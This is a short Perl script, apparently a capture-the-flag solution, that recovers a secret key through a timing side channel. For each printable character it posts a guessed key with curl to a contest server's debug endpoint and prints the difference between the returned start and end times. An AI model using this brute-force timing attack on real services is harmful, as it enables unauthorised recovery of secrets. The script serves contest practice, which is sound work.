#!/usr/bin/perl -w for ($char=32;$char<=122;$char++) { $key = $ARGV[0] . chr($char); $res = `curl -s -k -d 'key=$key&debug' https://ctf.fluxfingers.net:1316/gimmetv`; $start = substr($res, index($res, '"start": ')+9, index($res, ",")-index($res, '"start": ')-9); $end = substr($res, index($res, '"end": ')+7, index($res, ",", 30)-index($res, '"end": ')-7); $diff = $end-$start; print "$key: $diff\n"; }